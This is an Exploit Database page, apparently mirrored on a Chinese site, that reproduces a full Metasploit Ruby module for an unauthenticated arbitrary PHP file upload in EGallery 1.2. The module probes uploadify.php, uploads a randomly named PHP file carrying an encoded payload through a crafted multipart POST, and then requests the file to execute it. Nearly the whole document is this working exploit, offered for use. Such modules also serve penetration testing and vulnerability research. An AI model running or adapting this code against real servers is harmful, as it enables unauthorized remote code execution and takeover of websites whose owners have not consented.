EGallery – Arbitrary ‘.PHP’ File Upload (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2012-07-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20029/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "EGallery PHP File Upload Vulnerability",
  			'Description'=> %q{
  					This module exploits a vulnerability found in EGallery 1.2 By abusing the
  				uploadify.php file, a malicious user can upload a file to the egallery/ directory
  				without any authentication, which results in arbitrary code execution. The module
  				has been tested successfully on Ubuntu 10.04.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Sammy FORGIT', # Discovery, PoC
  					'juan' # Metasploit module
  				],
  			'References' =>
  				[
  					['OSVDB', '83891'],
  					['BID', '54464'],
  					['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					['EGallery 1.2', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Jul 08 2012",
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
  				], self.class)
  	end
  
  	def check
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}egallery/uploadify.php"
  		})
  
  		if res and res.code == 200 and res.body.empty?
  			return Exploit::CheckCode::Detected
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  	def exploit
  		uri = target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  
  		peer = "#{rhost}:#{rport}"
  		payload_name = rand_text_alpha(rand(10) + 5) + '.php'
  		boundary = Rex::Text.rand_text_hex(7)
  
  		post_data = "--#{boundary}\r\n"
  		post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
  		post_data << "#{payload_name}\r\n"
  		post_data << "--#{boundary}\r\n"
  		post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
  		post_data << "#{uri}\r\n"
  		post_data << "--#{boundary}\r\n"
  		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
  		post_data << "<?php "
  		post_data << payload.encoded
  		post_data << " ?>\r\n"
  		post_data << "--#{boundary}--\r\n"
  
  		print_status("#{peer} - Sending PHP payload (#{payload_name})")
  		res = send_request_cgi({
  			'method' => 'POST',
  			'uri'=> "#{uri}egallery/uploadify.php",
  			'ctype'=> "multipart/form-data; boundary=#{boundary}",
  			'data' => post_data
  		})
  
  		# If the server returns 200 and the body contains our payload name,
  		# we assume we uploaded the malicious file successfully
  		if not res or res.code != 200 or res.body !~ /#{payload_name}/
  			print_error("#{peer} - File wasn't uploaded, aborting!")
  			return
  		end
  
  		print_status("#{peer} - Executing PHP payload (#{payload_name})")
  		# Execute our payload
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "#{uri}#{payload_name}"
  		})
  
  		# If we don't get a 200 when we request our malicious payload, we suspect
  		# we don't have a shell, either.Print the status code for debugging purposes.
  		if res and res.code != 200
  			print_status("#{peer} - Server returned #{res.code.to_s}")
  		end
  	end
  
  end